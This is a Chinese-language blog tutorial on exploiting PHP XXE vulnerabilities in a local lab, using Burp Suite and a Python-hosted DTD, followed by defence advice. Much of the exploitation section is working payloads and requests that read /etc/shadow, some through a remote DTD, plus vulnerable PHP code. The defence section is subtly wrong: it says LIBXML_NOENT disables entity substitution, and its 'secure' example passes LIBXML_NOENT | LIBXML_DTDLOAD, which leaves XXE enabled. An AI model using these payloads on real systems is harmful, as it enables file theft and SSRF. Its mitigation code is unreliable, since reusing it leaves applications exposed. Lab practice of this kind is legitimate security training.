PHP XXE 漏洞利用与原理

PHP XXE 漏洞利用与原理

引言

XML External Entity Injection(XXE)是一种针对 XML 解析器的安全漏洞,广泛存在于处理 XML 输入的 Web 应用中。PHP 应用若使用不安全的 XML 解析配置,可能导致攻击者通过构造恶意 XML 载荷读取敏感文件、发起 SSRF(服务器端请求伪造)或执行其他恶意操作。本文将详细讲解 PHP XXE 漏洞的原理、利用步骤、靶场环境搭建,以及防护建议,旨在帮助读者深入理解并有效应对此类漏洞。


一、XXE 漏洞简介

XXE(XML External Entity Injection)漏洞发生在 XML 解析器处理外部实体时,若未正确配置,允许攻击者通过恶意 XML 输入加载外部实体,从而执行文件读取、SSRF 或其他攻击。PHP 环境中,常见于使用 libxml2 库(如 SimpleXMLElementDOMDocument)解析 XML 时,未禁用外部实体解析。

危害

  • 读取服务器本地文件(如 /etc/passwd/etc/shadow)。
  • 发起 SSRF,访问内网资源。
  • 在特定条件下,可能导致拒绝服务(DoS)或远程代码执行(RCE)。

二、漏洞原理

XXE 漏洞的核心在于 XML 解析器对外部实体(External Entities)的处理。XML 支持通过 <!ENTITY> 定义实体,实体可以引用本地文件或远程资源。如果解析器未限制外部实体加载,攻击者可通过以下方式触发漏洞:

  1. 构造恶意 XML 载荷

    • 使用 <!DOCTYPE><!ENTITY> 定义外部实体,指向本地文件(如 file:///etc/shadow)或远程资源。

    • 示例:

      1
      2
      3
      4
      <!DOCTYPE a [
      <!ENTITY aaa SYSTEM "file:///etc/shadow">
      ]>
      <a>&aaa;</a>
  2. 服务器解析 XML

    • 服务器使用不安全的 XML 解析器(如 PHP 的 DOMDocument)处理输入。
    • 解析器加载外部实体,将文件内容替换到实体引用(如 &aaa;)。
  3. 信息泄露或进一步攻击

    • 解析器回显实体内容(如 /etc/shadow),导致敏感信息泄露。
    • 若支持远程实体,可加载攻击者控制的 DTD 文件,触发 SSRF 或更复杂攻击。

关键条件

  • 服务器允许外部实体解析(PHP 默认未禁用 libxml2 的外部实体)。
  • 应用直接处理用户提交的 XML 输入。
  • 解析结果可能被回显或以某种方式暴露。

三、靶场环境准备

以下是复现 PHP XXE 漏洞的环境搭建步骤,基于提供的靶场要求:

环境要求

  • 操作系统:Kali Linux(IP:192.168.56.102,仅主机网卡)
  • 靶场地址http://192.168.56.102:8080/
  • 工具
    • Burp Suite:抓包与修改 HTTP 请求
    • Firefox 浏览器:设置代理到 Burp Suite(127.0.0.1:8080)
    • Python HTTP 服务(可选):托管远程 DTD 文件
  • 前提:已完成《php xxe漏洞靶场搭建.docx》中的搭建步骤,靶场运行正常。

快速验证靶场

  1. 启动靶场:

    1
    docker-compose up -d
  2. 确认靶场可访问:

    • 在 Firefox 浏览器中访问 http://192.168.56.102:8080/dom.php
    • 若页面正常加载,靶场搭建成功。
  3. 配置 Burp Suite 和 Firefox:

    • 启动 Burp Suite,启用 Proxy 模块,默认监听 127.0.0.1:8080
    • 在 Firefox 中设置手动代理,指向 127.0.0.1:8080
  4. (可选)准备远程 DTD 服务:

    • 在 Kali 上启动 Python HTTP 服务:

      1
      python3 -m http.server 80
    • test.dtd 放入 HTTP 服务根目录,内容如下:

      1
      <!ENTITY aaa SYSTEM "file:///etc/shadow">

四、漏洞利用步骤

1. 启动 Burp Suite 并抓包

  • 打开 Burp Suite,确认 Proxy 模块监听 127.0.0.1:8080

  • 在 Firefox 中访问靶场漏洞页面:http://192.168.56.102:8080/dom.php

  • Burp Suite 拦截到以下 GET 请求:

    1
    2
    3
    4
    5
    6
    GET /dom.php HTTP/1.1
    Host: 192.168.56.102:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8
    Connection: close
  • 右键点击请求,选择 “Send to Repeater” 以便后续修改。

2. 构造 XXE Payload

以下是两种常见的 XXE 攻击载荷:

Payload 1:读取本地文件(如 /etc/shadow

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY aaa SYSTEM "file:///etc/shadow">
]>
<a>&aaa;</a>

说明

  • <!ENTITY aaa SYSTEM "file:///etc/shadow"> 定义了一个外部实体,指向服务器本地文件 /etc/shadow
  • <a>&aaa;</a> 引用实体,解析时会将文件内容替换到 &aaa;

Payload 2:远程加载 DTD

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % y SYSTEM "http://192.168.56.102/test.dtd">
%y;
]>
<a>&aaa;</a>

远程 test.dtd 内容

1
<!ENTITY aaa SYSTEM "file:///etc/shadow">

说明

  • <!ENTITY % y SYSTEM "http://192.168.56.102/test.dtd"> 加载远程 DTD 文件。
  • %y; 执行 DTD 中的定义,间接加载 /etc/shadow
  • 适用于绕过本地实体限制或实现更复杂的攻击。

3. 发送攻击请求

在 Burp Suite 的 Repeater 模块中,构造以下 POST 请求(以 Payload 1 为例):

1
2
3
4
5
6
7
8
9
10
11
12
POST /dom.php HTTP/1.1
Host: 192.168.56.102:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Content-Type: application/xml
Content-Length: 132

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY aaa SYSTEM "file:///etc/shadow">
]>
<a>&aaa;</a>

关键点

  • 设置 Content-Type: application/xml 以确保服务器按 XML 解析。
  • 调整 Content-Length 为实际载荷长度。
  • 点击 “Send”,发送请求。

4. 验证攻击结果

  • 若靶场未正确过滤外部实体,响应中会回显 /etc/shadow 文件内容,形如:

    1
    2
    3
    root:$6$...[hash]...:18356:0:99999:7:::
    daemon:*:18356:0:99999:7:::
    ...
  • 若使用 Payload 2,确认 Python HTTP 服务日志中有 test.dtd 的请求记录,且响应仍包含 /etc/shadow 内容。

验证成功标志

  • 响应中包含敏感文件内容。
  • 无回显(盲 XXE)情况下,可通过外部 DTD 请求或错误信息推断漏洞存在。

五、XXE 漏洞深入分析

触发流程

  1. 不安全的 XML 解析
    • PHP 应用使用 DOMDocumentSimpleXMLElement 处理 XML 输入。
    • 默认配置未禁用外部实体(libxml_disable_entity_loader(false))。
  2. 恶意实体注入
    • 攻击者提交包含 <!ENTITY> 的 XML 载荷。
    • 实体引用本地文件、远程 URL 或参数实体。
  3. 信息泄露或攻击
    • 解析器加载实体内容,可能导致:
      • 本地文件内容泄露。
      • SSRF(访问内网资源,如 http://localhost:8080)。
      • DoS(如加载 /dev/random 或构造 Billion Laughs 攻击)。

PHP 环境中的常见问题

  • 默认配置:PHP 的 libxml2 默认允许外部实体加载。

  • 代码示例(易受攻击的 PHP 代码):

    1
    2
    3
    4
    5
    6
    <?php
    $xml = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xml);
    echo $dom->textContent;
    ?>

    上述代码直接解析用户输入的 XML,未禁用外部实体,易受 XXE 攻击。


六、防护建议

  1. 禁用外部实体解析

    • 在 PHP 中使用 libxml_disable_entity_loader(true)

      1
      2
      3
      libxml_disable_entity_loader(true);
      $dom = new DOMDocument();
      $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    • 或设置 LIBXML_NOENT 标志禁用实体替换。

  2. 使用安全的解析方式

    • 避免直接解析用户提交的 XML。
    • 使用 JSON 或其他格式替代 XML。
  3. 白名单验证输入

    • 验证 XML 结构,仅允许预期的标签和属性。
    • 使用 XML Schema 或 DTD 限制输入。
  4. 网络隔离

    • 限制服务器出站连接,防止 SSRF 访问内网资源。
    • 使用防火墙阻止非必要外部请求。
  5. 升级依赖

    • 确保 PHP 和 libxml2 库为最新版本,修复已知漏洞。
  6. 错误信息屏蔽

    • 禁用详细错误回显,避免泄露文件路径或系统信息。

七、总结

PHP XXE 漏洞利用展示了 XML 解析器在处理外部实体时的安全风险。通过构造恶意 XML 载荷,攻击者可轻松读取服务器敏感文件或发起 SSRF 攻击。开发者和安全从业者应重视 XML 解析的配置安全,采取禁用外部实体、输入验证等措施,降低漏洞风险。

免责声明: 本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。


PHP XXE 漏洞利用与原理
https://bae-ace.github.io/2025/07/29/PHP-XXE-漏洞利用与原理/
作者
bae
发布于
2025年7月29日
许可协议